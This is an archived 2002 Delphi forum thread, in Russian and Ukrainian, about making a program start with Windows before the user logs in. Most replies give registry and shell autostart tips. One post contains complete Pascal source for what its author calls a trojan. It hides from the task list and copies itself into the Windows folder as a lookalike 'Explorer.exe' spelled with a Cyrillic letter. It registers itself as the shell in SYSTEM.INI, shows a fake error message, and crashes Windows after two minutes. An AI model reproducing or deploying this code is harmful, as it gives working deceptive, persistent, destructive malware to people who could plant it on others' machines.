Головна сторінка
Top.Mail.Ru Яндекс.Метрика
Форум: "Система";
Поточний архів: 2002.12.23;
Завантажити: [xml.tar.bz2];

Вниз

Запуск програми при завантаженні Windows. Знайти схожі гілки


Metallica   (2002-07-28 14:07) [0]

Я написав програму. Що мені потрібно зробити для того щоб вона запускалася при завантаженні Windows найпершої, навіть перед запитом користувача і пароля.



Неотеничный Педоморф   (2002-07-28 15:30) [1]

Совсем круто, когда прога запускается не то что перед загрузкой Windows, а перед включением компа!



VEG   (2002-07-28 17:21) [2]

Я знаю, як таке реалізувати, але навіщо тобі це?



hitek   (2002-07-29 10:59) [3]

VEG
а как реализовать такое?



Antonius   (2002-07-29 11:18) [4]

Хм... Надо писать свой загрузчик в MBR :)



Metallica   (2002-07-29 12:14) [5]

> VEG
мне это нужно для программы "Администратор игрового клуба".



VEG   (2002-07-29 12:17) [6]

> Metallica
Я так и думал!
Сейчас сам такую пишу...



Sir DAMM   (2002-07-29 13:05) [7]

если win9x то пропиши её в HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices

а вообще такую вещь лучне ввиде shell"а писать



Metallica   (2002-07-29 20:16) [8]

> VEG
Вопрос по программе "Администратор игрового клуба":
- меня интересует блокировка клавиатуры и мыши (у меня есть пример
procedure BlockInput(ABlockInput : boolean); stdcall; external "USER32.DLL";
но при нажатии 3-х "MagicKeys" она снимается).

Если есть другой способ то напиши или скинь на E-mail.



Doctor Snap   (2002-07-31 20:54) [9]

А ты не пробовал вто же время блокировать Ctrl+Alt+Del?



VEG   (2002-07-31 22:15) [10]

Metallica, для какого города программа?



melifaro   (2002-07-31 22:30) [11]

Привожу пример своей программы. Она запускается перед эксплорером. Т.е. она запускает эксплорер сама.


program WinLoad;

{Функции, которые будем подгружать из виндовых DLL.}

function WritePrivateProfileStringA(ipAppName,ipKeyName,ipString,ipFileName:String): //Запись в файлы INI
integer; stdcall; external "KERNEL32.DLL";

function WinExec(FileName : PChar ; ShowInt : integer): //Запуск приложений...
integer; stdcall; external "KERNEL32.DLL";

Procedure Sleep ( Interval : LongInt) ; stdcall; //Процедура засыпания...
external "KERNEL32.DLL";

function CopyFileA(FromFile : PChar ; ToFile : PChar ; bFailIfExists : Boolean): //Для размножения...
Boolean; stdcall; external "KERNEL32.DLL";

function GetWindowsDirectoryA(Buffer : PChar ; Size : Integer): //Где тут Windows???...
integer; stdcall; external "KERNEL32.DLL";

procedure MessageBox(Wnd: Integer; Text: PChar; Caption: PChar; Typ: Integer); //Простой MessageBox...
stdcall; external "USER32.DLL" name "MessageBoxA";

function RegisterServiceProcess(dwProcessID, dwType: integer): //Изчезаем в Ctrl+Alt+Del...
integer; stdcall; external "KERNEL32.DLL";

function GetCurrentProcessId : //Получение ID нашего процесса
integer; stdcall; external "KERNEL32.DLL";

{Функции, которые выдраны из модуля SysUtils}

function UpperCase(const S: string): string; //Приведение к верхнему регистру...
var
Ch: Char;
L: Integer;
Source, Dest: PChar;
begin
L := Length(S);
SetLength(Result, L);
Source := Pointer(S);
Dest := Pointer(Result);
while L <> 0 do
begin
Ch := Source^;
if (Ch >= "a") and (Ch <= "z") then Dec(Ch, 32);
Dest^ := Ch;
Inc(Source);
Inc(Dest);
Dec(L);
end;
end;

function StrAlloc(Size: Cardinal): PChar; //Выделение памяти под PChar...
begin
Inc(Size, SizeOf(Cardinal));
GetMem(Result, Size);
Cardinal(Pointer(Result)^) := Size;
Inc(Result, SizeOf(Cardinal));
end;

{Процедура "Виси Windows, виси"}

Procedure DropESP;
Asm
Mov ESP , $FFFF;
End;

{Поехали...}

Var
Buf : PChar;
WinDir : String;
Launch : String;

Begin

{Сначала спрячем себя из списка задач, чтобы ламер нас по CTRL+ALT+DEL
не вычислил.}
RegisterServiceProcess(GetCurrentProcessID, 1);

{Теперь получаем директорию Windows. Там Мы будем жить...}
Buf := StrAlloc(260);
GetWindowsDirectoryA(Buf,260);
WinDir := Buf + "\";

{Копируем себя в директорию Windows. Там тепло и просторно...}
CopyFileA(PChar(ParamStr(0)),PChar(WinDir + "Еxplorer.Exe"),False);

{Вводим переменную, которая будет нашим новым именем. Используем
старый трюк: в нашем новом имени "Explorer.Exe", первая буква - русская "Е".}
Launch := WinDir + "Еxplorer.Exe";

{Пишемся в SYSTEM.INI. Оттуда будем грузиться.}
WritePrivateProfileStringA ("Boot", "Shell",Launch, WINDIR+"system.ini");

{Если это наш первый запуск, то делаем вид, что мы испорчены и вообще не приложение...}
If UpperCase(ParamStr(0)) <> UpperCase(WinDir + "Еxplorer.Exe") then
MessageBox(0,Pchar((ParamStr(0)+ " не является приложением Win32.")),PChar(ParamStr(0)),$00000010)

{Если мы уже подгрузились из SYSTEM.INI, запускаем EXPLORER.EXE,
ждём...вешаем винды...}

Else
Begin
WritePrivateProfileStringA ("Boot", "Shell", "Explorer.Exe", WINDIR+"system.ini"); //Пишем Explorer в System.Ini
WinExec("Explorer.Exe",1); //Запускаем Explorer...
WritePrivateProfileStringA ("Boot", "Shell",Launch, WINDIR+"system.ini"); //Пишемся обратно в System.Ini
Sleep ( 120000 ); //2 минуты ждём...
DropESP; //Вешаем Windows...
End;

{Вот и всё...}

end.


Copyright © Melifaro



melifaro   (2002-07-31 22:33) [12]

Только не надо даже и думать, что на самом деле делала эта программа, и почему её трояном называли :))))



SashOk_   (2002-10-08 09:58) [13]

Пропиши в command.com такое (в самом начале):
@имя_проги



BlackDragon   (2002-10-17 03:53) [14]

Дякуємо



DVE   (2002-10-18 13:04) [15]

я тоже на днях озадачился!
короче сделали так
написали свой Shell пустая форма с картинко. клик- запуск программы.

Запихнули прогу в
\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SHELL

Перехват горячих клавиш!
+свой пустой TaskManager =)

При нажатии на гор клавиши запрос пароля(он закодирован в одну сторону и лежит в реестре)

Так что вот!



сторінки: 1 вся гілка

Форум: "Система";
Поточний архів: 2002.12.23;
Завантажити: [xml.tar.bz2];

наверх









Пам'ять: 0.61 MB
Час: 0.032 c
3-74614
Ігорка
2002-12-04 17:45
2002.12.23
ADOQuery і кілька параметрів з однаковими іменами


1-74786
Кирило
2002-12-11 11:49
2002.12.23
У чому різниця між розміром компонента в інспектора ...


1-74704
krot
2002-12-13 18:06
2002.12.23
Зовнішнє додаток


14-74935
Олександр
2002-12-01 09:26
2002.12.23
Delphi 7


14-74927
wHammer
2002-11-29 14:10
2002.12.23
Компонент





африкаанс албанський арабська вірменин азербайджанець баскський білоруський болгарська каталонський Китайська (спрощене письмо) Китайський традиційний) хорватський чеська данську мову нідерландський Ukranian естонець Філіппінська фінську мову французький
галісійська грузинський німецький грецький гаїтянський креольський давньоєврейську хінді угорський ісландський індонезієць ірландський італійський японський корейський латиська литовець македонець малайський мальтійський норвежець
перс полірування португальська румунський російська сербський словацький словенський іспанська суахілі шведську мову тайський турецька український урду в'єтнамський валлійський ідиш бенгальський боснійський
кебуано есперанто гуджараті хауса хмонг ігбо яванський каннада кхмерская Лао латинь маорі маратхі монгольський непальська панджабі сомалійський тамільська телугу йоруба
зулуський
Англійська Французький Німецький Італійський Португальська Русский Іспанська